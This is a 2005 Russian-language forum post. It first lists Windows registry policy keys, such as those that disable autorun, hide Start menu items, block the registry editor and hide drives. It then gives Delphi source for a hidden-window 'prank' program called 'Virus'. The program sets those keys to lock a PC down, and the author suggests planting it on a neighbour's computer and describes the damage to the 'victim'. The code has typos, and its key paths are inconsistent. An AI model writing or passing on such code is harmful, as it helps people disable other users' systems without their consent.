|
Компьютеры и программы к ним Обсуждение компьютеров и их комплектующих. |
|
Опции темы |
17.04.2005, 03:46 | #1 |
Участник
Регистрация: 07.02.2005
Адрес: Н-кама
Сообщений: 10
Репутация: 10
|
Кому лень рыться в реестре
Статья специально для ленивых.
Включение или отключение автозапуска CD-ROM: Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\CDRom] Параметр: Autorun Тип: REG_DWORD Значение: (0=отключено, 1=включено) Отключение доступа к вызову по телефону (кирдык модемному И-нету): Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Policies\Network] Параметр: NoDialIn Тип: REG_DWORD Значение: (0 = допустить удаленный доступ, 1 = заблокировать удаленный доступ) Изменение заголовка окна Internet Explorer Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main] Параметр: Window Title Тип: REG_SZ Удаление пункта "Завершение сеанса <Имя пользователя>" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoLogOff Тип: REG_BINARY Значение: 01 00 00 00 Отключение доступа к дисплею в Панели управления Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System] Параметр: NoDispCPL Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Отключение доступа к сети в Панели управления (Windows 9x) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Network] Параметр: NoNetSetup Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Отключение доступа к принтерам в Панели управления (Windows 9x) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoPrinters Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Отключение доступа к паролям в Панели управления (Windows 9x) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System] Параметр: NoSecCPL Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Скрытие вкладки "Оформление" в свойствах экрана Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System] Параметр: NoDispAppearancePage Тип: REG_DWORD Значение: (0 = отключено, 1 =включено) Скрытие вкладки "Фон" в свойствах экрана Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System] Параметр: NoDispBackgroundPage Тип: REG_DWORD Значение: (0 = отключено, 1 =включено) Скрытие вкладки "Заставка" в свойствах экрана Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System] Параметр: NoDispScrSavPage Тип: REG_DWORD Значение: (0 = отключено, 1 =включено) Скрытие вкладки "Настройка" в свойствах экрана Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System] Параметр: NoDispSettingsPage Тип: REG_DWORD Значение: (0 = отключено, 1 =включено) Отключение Редактора системного реестра (Фигушки кто теперь вернет все на место. Реестр-то редактировать нельзя будет) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System] Параметр: DisableRegistryTools Тип: REG_DWORD Значение: (0 = отключено, 1=включено) Диалоговое окно уведомления об ответственности перед входом в систему (Можно использовать и для того чтобы Винда "приветствовала" вас при входе) Windows 9x: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Winlogon Windows NT: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Параметр: LegalNoticeCaption - заголовок окна (например 'Здоровканье'). Если этот параметр не существует, создайте его. Тип: REG_SZ Параметр: LegalNoticeText - содержанию диалогового окна (например 'Приветствую тебя, о вошедший в эту глючную Винду!') Тип: REG_SZ Убрать кнопочку "Выключение" из Пуска Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoClose Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Удаление группы "Стандартные программы" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoCommonGroups Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Скрытие всех элементов на Рабочем столе Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoDesktop Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Скрытие дисков в Моем компьютере Этот параметр управляет отображением дисков в 'Моем компьютере', он дает возможность скрыть все диски или только выбранные. Параметр 'NoDrives' определяет, какие из дисков являются видимыми. Порядок устанавливается с самого низкого бита - диск A: до 26-ого бита - диск Z: Чтобы скрыть диск, включите его бит. Если Вы не умеете работать с шестнадцатеричными числами, установите эти десятичные числа для скрытия диска(ов): A: 1, B: 2, C: 4, D: 8, E: 16, F: 32, G: 64, H: 128, I: 256, J: 512, K: 1024, L: 2048, M: 4096, N: 8192, O: 16384, P: 32768, Q: 65536, R: 131072, S: 262144, T: 524288, U: 1048576, V: 2097152, W: 4194304, X: 8388608, Y: 16777216, Z: 33554432, ALL: 67108863 Обратите внимание: Эти диски будут все равно отображены в Диспетчере файлов, для удаления Диспетчера файлов, удалите файл winfile.exe Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoDrives Тип: REG_DWORD Удаление папки "Избранное" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoFavoritesMenu Тип: REG_DWORD Значение: (0=отключено, 1=включено) Удаление меню "Файл" из Проводника (Windows NT) Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoFileMenu Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Удаление команды "Найти" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoFind Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Скрытие значка "Сетевое окружение" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoNetHood Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Удаление папки "Документы" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoRecentDocsMenu Тип: REG_DWORD Значение: (0=отключено, 1=включено) Удаление команды "Выполнить" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoRun Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Удаление пункта "Настройка" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoSetFolders Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Удаление пункта "Панель задач" в меню "Настройки" из меню "Пуск" Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer] Параметр: NoSetTaskbar Тип: REG_DWORD Значение: (0 = отключено, 1 = включено) Удаление специальной стрелки из ярлыка Ключ: [HKEY_CLASSES_ROOT\lnkfile] Параметр: IsShortcut Тип: REG_DWORD Значение: - Изменение рисунка, отображающегося перед входом в систему Ключ: [HKEY_USERS\.DEFAULT\Control Panel\Desktop] Параметр: Wallpaper Тип: REG_SZ (адресс к вашей новой БМП`эхе) Фууу. Ну броде бы всё. Многовато как-то ключей как-то получилось... Так. С ключами разобрались, теперь за программинг. Напишем прогу-прикол-смертельное западло. (Ого загнул...). Почему смертельное обьясню потом, но рекомендую на своём кампе НЕ ТЕСТИРОВАТЬ. Для начала создаем новый проект (File-New-Application). Дальше нажимаем Project-View source ( у кого русская версия Проект-Показать исходный текст). В открывшемся редакторе кода, между Application.CreateForm(TForm1, Form1); и Application.Run; дописываем Application.ShowMainForm:=false; т.е. окно нашей проги не должно показываться. Далее в обработчике события OnCreate формы нашего проекта пишем: procedure TForm1.FormCreate(Sender: TObject); RegI: TRgeIniFile; begin RegIni:=TRegIniFile.Create('Virus'); RegIni.RootKey:=HKEY_CURRENT_USER; RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\System','DisableRegistryTools',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoClose',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoCommonGroups',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoDesktop',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoFavoritesMenu',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoFind',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoNetHood',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoRecentDocsMenu',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoSetFolders',1); RegIni.WriteInteger('Software\Microsoft\Windows\Cu rVer\Policies\Explorer','NoDrives',67108863); RegIni.Free; end; Ну все, остается только нажать Ctrl+F9 чтобы компильнуть "проджект", и все - готово! Теперь можно кому-нибудь её подкинуть, например ламеру-соседу, а потом со счастливой улыбкой на лице наблюдать за процессом установки Винды.(такое можно наблюдать если ваш сосед полуюзер-полуламер, умеет переустанивливать "Окошки" и не знает о проге "System Resque" (восстановление системы)) Теперь описание того, что эта гадость творит на компе жертвы: 1.ЗАПРЕЩАЕТ редактировать реестр. Т.е. восстановить все можно будет или переустановкой Винды, или "Восстановлением системы". 2.ЗАПРЕЩАЕТ вылючение компа из пуска или комбинацией Alt+F4. 3.СКРЫВАЕТ все значки на Рабочем столе. 4.СКРЫВАЕТ пункт "избранное" в пуске. 5.СКРЫВАЕТ пункт "поиск" в пуске. 6.СКРЫВАЕТ сетвое окружение. 7.СКРЫВАЕТ пункт "файл" в проводнике. 8.СКРЫВАЕТ все диски в моем компьютере. P.S for .·:AlpCRAZY:·. Управление времением ожидания CHKDSK Если работа Windows завершена не коректно, то при следущей перезагрузке вылетает сообщение о необходимости проверки жесткого диска и 10 секунд ждет Вашего решения. Этим временем можно управлять. В разделе HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSe ssion Manager Создаем параметр DWORD AutoChkTimeOut AutoChkTimeOut = 0 отключает период ожидания AutoChkTimeOut = 5 означает, что от Вас ждут действие 5 сек. AutoChkTimeOut = 15 означает, что от Вас ждут действие 15 сек. и т.п
__________________
Если смертные достают, то достают до смерти |
|
Опции темы | |
|
|